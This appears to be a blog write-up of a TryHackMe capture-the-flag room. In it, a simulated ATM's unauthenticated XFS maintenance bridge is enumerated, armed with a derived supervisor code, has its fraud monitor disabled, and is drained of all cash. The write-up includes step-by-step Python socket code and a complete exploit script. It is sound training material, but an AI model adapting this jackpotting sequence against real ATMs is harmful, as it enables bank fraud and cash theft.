Sitemap
SaGar Shahani

SaGar Shahani

💻 Cybersecurity student & CTF player | Writing about hacking, forensics & digital defense

TryHackMe — Jackpot Writeup

4 min readOct 10, 2026

--

Difficulty: Medium
Category: Protocol Reversing / Hardware Emulation

Scenario

A branch ATM at “Earth’s National Bank” was pulled for forensic review after unexplained cash-outs. Its maintenance interface — meant only for engineers on the branch LAN — was left reachable and speaks the machine’s native hardware language (XFS) with no real authentication. We need to convince it to empty every cassette and hand over the flag.

1. Reconnaissance

Port Scan

nmap -sV <TARGET_IP>
PORT     STATE SERVICE    VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
8080/tcp open http BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open jetdirect?

Three ports. Port 8080 looks like a web console; port 9100 is normally a printer port, but here it’s almost certainly the “native hardware language” the brief mentioned.

Web console (port 8080)

Hitting http://<TARGET_IP>:8080/ returns an engineering console page. It polls a /status endpoint:

curl -s http://<TARGET_IP>:8080/status | python3 -m json.tool
{
"nonce": "<SESSION_CODE>",
"armed": false,
"monitor_on": true,
"locked": false,
"screen": "INSERT CARD",
"dispensed_total": 0,
"remaining_notes": <N>,
"vault_total_notes": <N>,
"cassettes": [
{"id": "CST1", "denom": 10, "count": <n>},
{"id": "CST2", "denom": 20, "count": <n>},
{"id": "CST3", "denom": 50, "count": <n>},
{"id": "CST4", "denom": 100, "count": <n>}
],
"flag_released": false
}

Key fields: nonce (session code), armed (supervisor mode), monitor_on (fraud monitor), flag_released.

Get SaGar Shahani’s stories in your inbox

Join Medium for free to get updates from this writer.

The page also offers a downloadable service tool:

curl -O http://<TARGET_IP>:8080/jackpot
chmod +x jackpot

Dead end on 8080

The server is GET-only. POST returns:

HTTP/1.0 501 Unsupported method ('POST')

And every path returns the same HTML page (catch-all handler), so the whole arm/dispense flow must live on port 9100.

2. The XFS Bridge (port 9100)

Connecting with nc reveals a framed binary protocol:

nc -nv <TARGET_IP> 9100
{
"service": "Branch Engineering Gateway",
"protocol": "XFS bridge",
"request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data",
"reply_format": "2 byte big-endian length + <length> bytes of JSON",
"msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"},
"hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"
}

The banner conveniently tells us the framing, message types, and even hints at a capabilities command. Let’s write a small helper script to talk to it.

Enumerate capabilities

Send GETINFO (0x01) for command 0x0304 with no data:

import socket, struct, json

def recv_msg(s):
hdr = b""
while len(hdr) < 2:
hdr += s.recv(2 - len(hdr))
n = struct.unpack(">H", hdr)[0]
data = b""
while len(data) < n:
data += s.recv(n - len(data))
return data

s = socket.create_connection(("<TARGET_IP>", 9100), timeout=5)
recv_msg(s) # banner

req = bytes([0x01]) + struct.pack(">I", 0x0304) + struct.pack(">H", 0)
s.sendall(req)
print(json.dumps(json.loads(recv_msg(s)), indent=2))

Response:

{
"rc": "WFS_SUCCESS",
"device_class": "CDM",
"commands": {
"WFS_INF_CDM_STATUS": "0x301",
"WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
"WFS_INF_CDM_CAPABILITIES": "0x304",
"WFS_CMD_CDM_DISPENSE": "0x401",
"WFS_CMD_CDM_ARM": "0x4f0",
"WFS_CMD_CDM_SET_MONITOR": "0x4f1",
"WFS_CMD_CDM_GET_FLAG": "0x4ff"
},
"max_dispense": 40
}

We now have everything:

  • 0x4f0 — ARM (supervisor mode)
  • 0x4f1 — SET_MONITOR (turn off fraud monitor)
  • 0x401 — DISPENSE (max 40 notes per call)
  • 0x4ff — GET_FLAG

3. Deriving the Activation Code

The console told us the service tool “derives a supervisor activation code from the session code.” We have the tool and the nonce:

./jackpot <SESSION_CODE>
[*] session nonce : <SESSION_CODE>
[*] activation code: <ACTIVATION_CODE>

If you want to reverse it: strings jackpot shows ENBANK and the %08u format — the algorithm is a simple transform of the nonce using that key. Running the tool is enough for the CTF.

4. Arming Supervisor Mode

Send EXECUTE (0x02) on command 0x4f0 with a payload. JSON wrapping returns WFS_ERR_CDM_INVALIDCODE, but the raw activation string works:

def cmd(s, msg_type, cmd_id, payload=b""):
req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(payload)) + payload
s.sendall(req)
return json.loads(recv_msg(s))

print(cmd(s, 0x02, 0x4f0, b"<ACTIVATION_CODE>"))
{"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}

5. Disabling the Fraud Monitor

print(cmd(s, 0x02, 0x4f1, b"0"))
{"rc": "WFS_SUCCESS", "monitor_on": false}

Without this, dispensing triggers the monitor and the terminal locks. Always kill the monitor first.

6. Draining the Cassettes

The dispense handler ignores our cassette/count fields and simply dumps max_dispense (40) notes per call, starting from the lowest denomination. Keep calling until remaining_notes hits 0:

while True:
r = cmd(s, 0x02, 0x401, b'{"cassette":"CST1","count":1}')
print("DISPENSE:", r)
if r.get("remaining_notes", 0) == 0:
break

Final dispense returns:

{"notes": 40, "remaining_notes": 0,
"detail": "vault empty - cashout proven; GET_FLAG now available"}

Status confirms the vault is empty and the flag has been released:

"dispensed_total": <TOTAL>,
"remaining_notes": 0,
"flag_released": true

7. Retrieving the Flag

print(json.dumps(cmd(s, 0x02, 0x4ff), indent=2))

{
"rc": "WFS_SUCCESS",
"flag": "<FLAG>"
}

Full Exploit Script

#!/usr/bin/env python3
import socket, struct, json, sys

HOST, PORT = "<TARGET_IP>", 9100
ACTIVATION_CODE = b"<ACTIVATION_CODE>"

def recv_msg(s):
hdr = b""
while len(hdr) < 2:
hdr += s.recv(2 - len(hdr))
n = struct.unpack(">H", hdr)[0]
data = b""
while len(data) < n:
data += s.recv(n - len(data))
return data

def connect():
s = socket.create_connection((HOST, PORT), timeout=5)
recv_msg(s) # banner
return s

def cmd(s, msg_type, cmd_id, payload=b""):
req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(payload)) + payload
s.sendall(req)
return json.loads(recv_msg(s))

if __name__ == "__main__":
s = connect()
print("ARM:", cmd(s, 0x02, 0x4f0, ACTIVATION_CODE))
print("MON OFF:", cmd(s, 0x02, 0x4f1, b"0"))

while True:
r = cmd(s, 0x02, 0x401, b"{}")
print("DISPENSE:", r)
if r.get("remaining_notes", 0) == 0:
break

print("FLAG:", cmd(s, 0x02, 0x4ff))
s.close()

Flag

THM{n0_car_REDUCTED}
Press enter or click to view image in full size

--

--

SaGar Shahani
SaGar Shahani